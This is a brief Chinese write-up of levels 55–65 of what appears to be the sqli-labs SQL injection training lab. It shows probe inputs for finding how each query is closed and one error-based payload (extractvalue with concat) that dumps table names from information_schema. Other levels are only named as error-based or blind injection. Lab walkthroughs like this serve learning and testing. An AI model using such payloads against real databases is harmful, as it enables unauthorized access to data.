第五十五关:
和上一关类似,只是拼凑的方法不一样,所以需要先判断后台是怎么拼凑的

分别输入id=1'--+         id=1"--+             id=') --+          id=1")--+             id=1)--+

发现只有id=1)--+可以正常显示,说明是数字型 用的括号闭合。

后面的流程就一样了。

 

第五十六关、五十七关也和之前的一样,只是sql闭合方式不一样

 

第五十八关:

也和上面类似,只是需要用报错注入

输入?id=-1’union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

 

第五十九关和六十关也是报错注入

一个是数字型一个是双引号。

 

第六十一关:

报错注入 有两个括号

 

 

第六十二、六十三、六十四、六十五都是盲注 也是拼接方式不一样。

相关文章:

  • 2021-07-30
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-05-07
  • 2022-01-20
  • 2021-08-23
猜你喜欢
  • 2022-12-23
  • 2022-01-09
  • 2021-07-02
  • 2021-10-23
  • 2021-09-07
  • 2022-12-23
  • 2021-09-10
相关资源
相似解决方案